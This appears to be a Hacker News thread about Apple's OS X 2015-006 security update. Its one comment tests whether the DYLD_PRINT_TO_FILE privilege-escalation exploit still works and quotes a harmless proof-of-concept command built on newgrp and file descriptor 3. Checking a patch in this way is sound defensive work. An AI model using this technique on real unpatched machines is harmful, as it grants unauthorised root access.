OS X sudoers exploit addressed with 2015-006 update (support.apple.com)

1 comment

[ 4.4 ms ] story [ 15.7 ms ] thread

Running a non-destructive version of what was documented here: https://news.ycombinator.com/item?id=10020378 now fails with "bash: line 1: 3: Bad file descriptor"

  echo 'echo \\\"$(whoami)\\\" >&3' |
  DYLD_PRINT_TO_FILE=/tmp/foo newgrp